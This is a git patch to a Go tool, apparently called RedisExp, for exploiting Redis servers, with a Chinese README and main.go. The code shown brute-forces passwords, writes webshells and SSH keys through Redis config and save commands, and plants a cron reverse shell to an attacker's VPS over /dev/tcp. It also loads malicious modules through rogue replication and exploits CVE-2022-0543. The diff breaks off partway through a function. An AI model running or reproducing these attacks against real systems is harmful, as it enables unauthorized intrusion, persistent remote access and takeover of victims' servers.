From ccda985d284999902607b8c01c0d325bdd3eb219 Mon Sep 17 00:00:00 2001 From: yuyan-sec Date: Sun, 11 Aug 2024 17:39:15 +0800 Subject: [PATCH] update --- README.md | 57 ++-- {pkg => exp}/dll.go | 2 +- {pkg => exp}/so.go | 2 +- go.mod | 16 +- go.sum | 67 ++-- main.go | 719 ++++++++++++++++++++++++++++++++++++++++++- pkg/CVE-2022-0543.go | 18 -- pkg/brute.go | 46 --- pkg/cli.go | 65 ---- pkg/connect.go | 35 --- pkg/echoShell.go | 86 ------ pkg/gopher.go | 80 ----- pkg/help.go | 303 ------------------ pkg/info.go | 31 -- pkg/listen.go | 78 ----- pkg/redisCmd.go | 46 --- pkg/slave.go | 119 ------- pkg/utils.go | 78 ----- 18 files changed, 782 insertions(+), 1066 deletions(-) rename {pkg => exp}/dll.go (99%) rename {pkg => exp}/so.go (99%) delete mode 100644 pkg/CVE-2022-0543.go delete mode 100644 pkg/brute.go delete mode 100644 pkg/cli.go delete mode 100644 pkg/connect.go delete mode 100644 pkg/echoShell.go delete mode 100644 pkg/gopher.go delete mode 100644 pkg/help.go delete mode 100644 pkg/info.go delete mode 100644 pkg/listen.go delete mode 100644 pkg/redisCmd.go delete mode 100644 pkg/slave.go delete mode 100644 pkg/utils.go diff --git a/README.md b/README.md index 263324a..aee3694 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,10 @@ ------ +图文利用过程:[https://yuyan-sec.github.io/posts/redisexp/](https://yuyan-sec.github.io/posts/redisexp/) + + + ``` @@ -26,48 +30,35 @@ 基本连接: RedisExp.exe -r 192.168.19.1 -p 6379 -w 123456 -爆破 Redis 密码: -RedisExp.exe brute -r 目标IP -p 目标端口 -f 字典文件 -RedisExp.exe brute -r 192.168.19.1 -f pass.txt - -主从复制执行命令 (默认是交互式 shell)(Redis版本 4.x - 5.x): -RedisExp.exe -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port [-c whoami 单次执行] -RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1 -c whoami (单次执行) -RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1 -RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1 -f exp.so (Linux) +主从复制命令执行: +RedisExp.exe -m rce -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port [-c whoami 单次执行] -rf 目标文件名[exp.dll | exp.so (Linux)] -主从复制文件上传 (windows 中文需要设置gbk)(Redis版本 4.x - 5.x): -RedisExp.exe -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port -d 目标路径 -f 目标文件名 -F 本地文件 -RedisExp.exe upload -r 192.168.19.1 -L 127.0.0.1 -d c:\\中文\\ -f shell.php -F shell.txt -g -RedisExp.exe upload -r 192.168.19.1 -L 127.0.0.1 -f shell.php -F shell.txt +主从复制上传文件: +RedisExp.exe -m upload -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port -rp 目标路径 -rf 目标文件名 -lf 本地文件 -关闭主从复制 -RedisExp.exe close -r 192.168.19.1 +主动关闭主从复制: +RedisExp.exe -m close -r 目标IP -p 目标端口 -w 密码 -Lua沙盒绕过命令执行 CVE-2022-0543: -RedisExp.exe lua -r 192.168.19.6 -c whoami +写计划任务: +RedisExp.exe -m cron -r 目标IP -p 目标端口 -w 密码 -L VpsIP -P VpsPort -备份写 Webshell: -1. Windows 中文路径要设置gbk, linux 中文路径不用设置。 -2. webshell的内容是base64,使用 -b 参数来解码。工具默认会关闭Redis压缩进行写入,写入后再恢复。 +写SSH 公钥: +RedisExp.exe -m ssh -r 目标IP -p 目标端口 -w 密码 -u 用户名 -s 公钥 -RedisExp.exe shell -r 目标IP -p 目标端口 -w 密码 -d 目标路径 -f 目标文件名 -s Webshell内容 -RedisExp.exe shell -r 192.168.19.1 -d c:\\中文\\ -f shell.php -s "" -g -RedisExp.exe shell -r 192.168.19.1 -d c:\\中文\\ -f shell.php -s "PD9waHAgcGhwaW5mbygpOz8+" -g -b +写webshell: +RedisExp.exe -m shell -r 目标IP -p 目标端口 -w 密码 -rp 目标路径 -rf 目标文件名 -s Webshell内容 [base64内容使用 -b 来解码] -Linux 写计划任务: -RedisExp.exe cron -r 目标IP -p 目标端口 -w 密码 -L VpsIP -P VpsPort -RedisExp.exe cron -r 192.168.19.1 -L 127.0.0.1 -P 2222 +CVE-2022-0543: +RedisExp.exe -m cve -r 目标IP -p 目标端口 -w 密码 -c 执行命令 -Linux 写 SSH 公钥: -RedisExp.exe ssh -r 目标IP -p 目标端口 -w 密码 -n 用户名 -s 公钥 -RedisExp.exe ssh -r 192.168.19.1 -u root -s "ssh-rsa AAAAB" +爆破Redis密码: +RedisExp.exe -m brute -r 目标IP -p 目标端口 -f 密码字典 -执行 Redis 命令: -RedisExp.exe cli -r 192.168.19.1 +生成gohper: +RedisExp.exe -m gopher -r 目标IP -p 目标端口 -f gopher模板文件 -生成 gopher ssrf redis payload: -RedisExp.exe gopher -f 1.txt +执行 bgsave: +RedisExp.exe -m bgsave -r 目标IP -p 目标端口 -w 密码 ``` diff --git a/pkg/dll.go b/exp/dll.go similarity index 99% rename from pkg/dll.go rename to exp/dll.go index d79c575..ab72c98 100644 --- a/pkg/dll.go +++ b/exp/dll.go @@ -1,4 +1,4 @@ -package pkg +package exp var DllPayload = []byte{ diff --git a/pkg/so.go b/exp/so.go similarity index 99% rename from pkg/so.go rename to exp/so.go index cb42342..fa72fb0 100644 --- a/pkg/so.go +++ b/exp/so.go @@ -1,4 +1,4 @@ -package pkg +package exp var SoPayload = []byte{ diff --git a/go.mod b/go.mod index 015fad8..37c3398 100644 --- a/go.mod +++ b/go.mod @@ -1,16 +1,8 @@ -module RedisExp +module RedisEXP -go 1.20 +go 1.16 require ( - github.com/redis/go-redis/v9 v9.0.3 - github.com/spf13/cobra v1.7.0 - golang.org/x/text v0.9.0 -) - -require ( - github.com/cespare/xxhash/v2 v2.2.0 // indirect - github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect - github.com/inconshreveable/mousetrap v1.1.0 // indirect - github.com/spf13/pflag v1.0.5 // indirect + github.com/redis/go-redis/v9 v9.6.1 + golang.org/x/text v0.17.0 ) diff --git a/go.sum b/go.sum index 598ee88..8111feb 100644 --- a/go.sum +++ b/go.sum @@ -1,65 +1,72 @@ -github.com/bsm/ginkgo/v2 v2.7.0 h1:ItPMPH90RbmZJt5GtkcNvIRuGEdwlBItdNVoyzaNQao= -github.com/bsm/ginkgo/v2 v2.7.0/go.mod h1:AiKlXPm7ItEHNc/2+OkrNG4E0ITzojb9/xWzvQ9XZ9w= -github.com/bsm/gomega v1.26.0 h1:LhQm+AFcgV2M0WyKroMASzAzCAJVpAxQXv4SaI9a69Y= -github.com/bsm/gomega v1.26.0/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0= +github.com/bsm/ginkgo/v2 v2.12.0 h1:Ny8MWAHyOepLGlLKYmXG4IEkioBysk6GpaRTLC8zwWs= +github.com/bsm/ginkgo/v2 v2.12.0/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c= +github.com/bsm/gomega v1.27.10 h1:yeMWxP2pV2fG3FgAODIY8EiRE3dy0aeFYt4l7wh6yKA= +github.com/bsm/gomega v1.27.10/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0= github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= -github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= -github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= -github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= -github.com/redis/go-redis/v9 v9.0.3 h1:+7mmR26M0IvyLxGZUHxu4GiBkJkVDid0Un+j4ScYu4k= -github.com/redis/go-redis/v9 v9.0.3/go.mod h1:WqMKv5vnQbRuZstUwxQI195wHy+t4PuXDOjzMvcuQHk= -github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= -github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I= -github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0= -github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= -github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/yuin/goldmark v1.4.13 h1:fVcFKWvrslecOb/tg+Cc05dkeYx540o0FuFt3nUVDoE= +github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/redis/go-redis/v9 v9.6.1 h1:HHDteefn6ZkTtY5fGUE8tj8uy85AHk6zP7CpzIAM0y4= +github.com/redis/go-redis/v9 v9.6.1/go.mod h1:0C0c6ycQsdpVNQpxb1njEQIqkx5UcsM8FJCQLgE9+RA= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20210921155107-089bfa567519 h1:7I4JAnoQBe7ZtJcBaYHi5UtiO8tQHbUSXxL+pnGRANg= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= +golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= +golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= -golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.6.0 h1:L4ZwwTvKW9gr0ZMS1yrHD9GZhIuVjOBBnaKH+SPQK0Q= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= +golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= +golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= +golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= +golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= +golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= +golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= +golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/text v0.17.0 h1:XtiM5bkSOt+ewxlOE/aE/AKEHibwj/6gvWMl9Rsh0Qc= +golang.org/x/text v0.17.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= -golang.org/x/tools v0.6.0 h1:BOw41kyTf3PuCW1pVQf8+Cyg8pMlkYB1oo9iJ6D/lKM= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= -golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7 h1:9zdDQZ7Thm29KFXgAX/+yaf3eVbP7djjWp/dXAppNCc= +golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= +golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/main.go b/main.go index a036b32..0e39251 100644 --- a/main.go +++ b/main.go @@ -1,21 +1,732 @@ package main import ( - "RedisExp/pkg" + "RedisEXP/exp" + "bufio" + "context" + "encoding/base64" + "encoding/hex" + "flag" "fmt" + "github.com/redis/go-redis/v9" + "golang.org/x/text/encoding/simplifiedchinese" + "golang.org/x/text/transform" + "io" + "io/ioutil" + "net" + "os" + "strconv" + "strings" + "sync" + "time" ) +var ctx = context.Background() +var rdb *redis.Client + +var ( + modules, rhost, rport, lhost, lport, pwd, fileName string + redisDir, redisDBFilename string + command, rpath, rfile, lfile, webshell, user string + b64 bool +) + +func init() { + flag.StringVar(&modules, "m", "", "利用模式(rce,upload,shell,ssh,cron,cve,gopher,brute,close,bgsave)") + flag.StringVar(&rhost, "r", "", "目标IP") + flag.StringVar(&rport, "p", "6379", "目标端口") + flag.StringVar(&lhost, "L", "", "本地IP | VPS IP") + flag.StringVar(&lport, "P", "6379", "本地端口 | VPS Port") + flag.StringVar(&pwd, "w", "", "Redis密码") + flag.StringVar(&fileName, "f", "", "Redis密码文件 | gopher 模板文件") + flag.StringVar(&command, "c", "", "单次执行命令") + + flag.StringVar(&rpath, "rp", ".", "目标路径") + flag.StringVar(&rfile, "rf", "", "目标文件名") + flag.StringVar(&lfile, "lf", "", "本地文件名") + flag.StringVar(&webshell, "s", "", "webshell 内容 | ssh 公钥[id_rsa.pub]") + + flag.StringVar(&user, "u", "root", "设置 ssh 用户名") + + flag.BoolVar(&b64, "b", false, "对 webshell, ssh公钥等内容进行Base64解码") + +} + func main() { logo := ` ██████╗ ███████╗██████╗ ██╗███████╗ ███████╗██╗ ██╗██████╗ ██╔══██╗██╔════╝██╔══██╗██║██╔════╝ ██╔════╝╚██╗██╔╝██╔══██╗ ██████╔╝█████╗ ██║ ██║██║███████╗ █████╗ ╚███╔╝ ██████╔╝ ██╔══██╗██╔══╝ ██║ ██║██║╚════██║ ██╔══╝ ██╔██╗ ██╔═══╝ -██║ ██║███████╗██████╔╝██║███████║ ███████╗██╔╝ ██╗██║ -╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝ ╚══════╝╚═╝ ╚═╝╚═╝ +██║ ██║███████╗██████╔╝██║███████║ ███████╗██╔╝ ██╗██║ +╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝ ╚══════╝╚═╝ ╚═╝╚═╝ @yuyan-sec ` fmt.Println(logo) + flag.Parse() + + if rhost == "" { + flag.Usage() + return + } + + // 处理不同的模块选项 + switch strings.ToLower(modules) { + case "brute": + if err := connection(rhost, rport, pwd); err == nil { + fmt.Println("存在未授权 Redis,不需要输入密码") + return + } + + if fileName == "" { + fmt.Println("参数错误: RedisExp.exe -m brute -r 目标IP -p 目标端口 -f 密码字典") + return + } + + brutePWD(rhost, rport, fileName) + + case "gopher": + if rhost == "" { + rhost = "127.0.0.1" + } + gopher(fmt.Sprintf("%s:%s", rhost, rport), fileName) + + default: + // 默认连接和配置获取 + if err := connection(rhost, rport, pwd); err != nil { + fmt.Println(err) + return + } + + redisDir = configGet("dir") + redisDBFilename = configGet("dbfilename") + + switch strings.ToLower(modules) { + case "cve": + if command != "" { + redisLua(command) + } else { + loopCmd("cve") + } + + case "shell": + if rpath == "" || rfile == "" || webshell == "" { + fmt.Println("参数错误: RedisExp.exe -m shell -r 目标IP -p 目标端口 -w 密码 -rp 目标路径 -rf 目标文件名 -s Webshell内容") + return + } + + echoShell(rpath, rfile, webshell) + + case "ssh": + if user == "" || webshell == "" { + fmt.Println("参数错误: RedisExp.exe -m ssh -r 目标IP -p 目标端口 -w 密码 -u 用户名 -s 公钥") + return + } + + if user == "root" { + user = "/root/.ssh/" + } else if !strings.Contains(user, "/") { + user = fmt.Sprintf("/home/%s/.ssh/", user) + } + + echoShell(user, "authorized_keys", webshell) + + case "cron": + if lhost == "" || lport == "" { + fmt.Println("参数错误: RedisExp.exe -m cron -r 目标IP -p 目标端口 -w 密码 -L VpsIP -P VpsPort") + return + } + + webshell = fmt.Sprintf("*/1 * * * * root /bin/bash -i >& /dev/tcp/%s/%s 0>&1", lhost, lport) + echoShell("/etc/cron.d/", "getshell", webshell) + + case "rce": + if lhost == "" { + fmt.Println("参数错误: RedisExp.exe -m rce -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port [-c whoami 单次执行] -rf 目标文件名(exp.dll | exp.so) -rp 目标路径") + return + } + + if strings.EqualFold(rfile, "") { + rfile = "exp.dll" + } + + redisSlave(lhost, lport, rpath, rfile) + + if command != "" { + runCmd(command) + closeSlave(rfile) + return + } else { + loopCmd("rce") + } + + case "upload": + if strings.EqualFold(lhost, "") || strings.EqualFold(rfile, "") || strings.EqualFold(lfile, "") { + fmt.Println("参数错误: RedisExp.exe -m upload -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port -rp 目标路径 -rf 目标文件名 -lf 本地文件") + return + } + + redisUpload(lhost, lport, rpath, rfile, lfile) + + case "close": + closeSlave(rfile) + + case "bgsave": + bg := rdb.BgSave(ctx).Val() + if strings.EqualFold(bg, "Background saving started") { + fmt.Println("[OK]\tbgsave") + } else { + fmt.Println("[==]\tbg") + } + + default: + redisVersion() + } + } +} + +// 连接redis +func connection(rhost, rport, password string) error { + rdb = redis.NewClient(&redis.Options{ + Addr: fmt.Sprintf("%s:%s", rhost, rport), + Password: password, // 密码 + DB: 0, // 数据库 + PoolSize: 3, // 连接池大小 + }) + + _, err := rdb.Ping(ctx).Result() + + if err != nil { + return err + } + + return nil +} + +// redisVersion 查看redis版本 +func redisVersion() { + info := rdb.Info(ctx, "server") + + for _, s := range strings.Split(info.Val(), "\r\n") { + switch { + case strings.Contains(s, "redis_version"), strings.Contains(s, "os"), strings.Contains(s, "arch_bits"): + fmt.Printf("%v\n", s) + } + } + + fmt.Println("dir: ", redisDir) + fmt.Println("dbfilename: ", redisDBFilename) +} + +// config get xxx +func configGet(str string) string { + var res string + result, err := rdb.ConfigGet(ctx, str).Result() + if err != nil { + return err.Error() + } + + for _, v := range result { + res = v + } + return res +} + +// config set xxx +func configSet(str, data string) string { + result, err := rdb.ConfigSet(ctx, str, data).Result() + if err != nil { + return err.Error() + } + + return result +} + +func echoShell(dir, dbfilename, webshell string) { + + defer func() { + // 恢复原始配置 + fmt.Printf("[%s]\tconfig set dir %s\n", configSet("dir", redisDir), redisDir) + fmt.Printf("[%s]\tconfig set dbfilename %s\n", configSet("dbfilename", redisDBFilename), redisDBFilename) + fmt.Printf("[%s]\tconfig set rdbcompression %s\n", configSet("rdbcompression", configGet("rdbcompression")), configGet("rdbcompression")) + fmt.Printf("[%s]\tconfig set slave-read-only %s\n", configSet("slave-read-only", configGet("slave-read-only")), configGet("slave-read-only")) + }() + + if dirOK := configSet("dir", dir); dirOK != "OK" { + fmt.Printf("[ERROR]\tFailed to set dir to %s\n", dir) + return + } + fmt.Printf("[OK]\tconfig set dir %s\n", dir) + + if dbfilenameOK := configSet("dbfilename", dbfilename); dbfilenameOK != "OK" { + fmt.Printf("[ERROR]\tFailed to set dbfilename to %s\n", dbfilename) + return + } + fmt.Printf("[OK]\tconfig set dbfilename %s\n", dbfilename) + + if b64 { + decodeBytes, err := base64.StdEncoding.DecodeString(webshell) + if err != nil { + fmt.Println(err) + return + } + webshell = string(decodeBytes) + } + + webshell = fmt.Sprintf("\n\n\n\n\n%v\n\n\n\n", webshell) + ok, err := rdb.Set(ctx, "webshell", webshell, time.Minute*2).Result() + + readOnly := configGet("slave-read-only") + + if err != nil { + if strings.Contains(err.Error(), "READONLY You can't write against a read only replica.") { + fmt.Println("[GG]\t目标开启了主从, 尝试关闭 slave-read-only 来写入文件") + + if strings.EqualFold(readOnly, "yes") { + fmt.Printf("[%s]\tconfig set slave-read-only no\n", configSet("slave-read-only", "no")) + ok, _ = rdb.Set(ctx, "webshell", webshell, time.Minute*2).Result() + } + + } else { + fmt.Printf("[xx]\t%v\n", err) + return + } + } + + fmt.Printf("[%v]\t%v\n", ok, "set webshell "+strings.ReplaceAll(webshell, "\n", "")) + + // 关闭redis压缩来写入文件 + compression := configGet("rdbcompression") + + if strings.EqualFold(compression, "yes") { + fmt.Printf("[%s]\tconfig set rdbcompression no\n", configSet("rdbcompression", "no")) + } + + bg := rdb.BgSave(ctx).Val() + if strings.EqualFold(bg, "Background saving started") { + fmt.Println("[OK]\tbgsave") + } else { + fmt.Println("[==]\tbg") + } + + fmt.Printf("[%v ]\tdel webshell\n", rdb.Del(ctx, "webshell").Val()) + +} + +// RedisSlave 开启主从复制 +func redisSlave(lhost, lport, dir, dbfilename string) { + var payload []byte + if strings.Contains(dbfilename, ".so") { + payload = exp.SoPayload + } else { + payload = exp.DllPayload + } + + bg := rdb.BgSave(ctx).Val() + if strings.EqualFold(bg, "Background saving started") { + fmt.Println("[OK]\tbgsave") + } else { + fmt.Println("[==]\tbg") + } + + //slave := fmt.Sprintf("slaveof %v %v", lhost, lport) + + fmt.Printf("[%v]\tslaveof %v %v\n", rdb.SlaveOf(ctx, lhost, lport).Val(), lhost, lport) + + if dirOK := configSet("dir", dir); dirOK != "OK" { + fmt.Printf("[ERROR]\tFailed to set dir to %s\n", dir) + return + } + 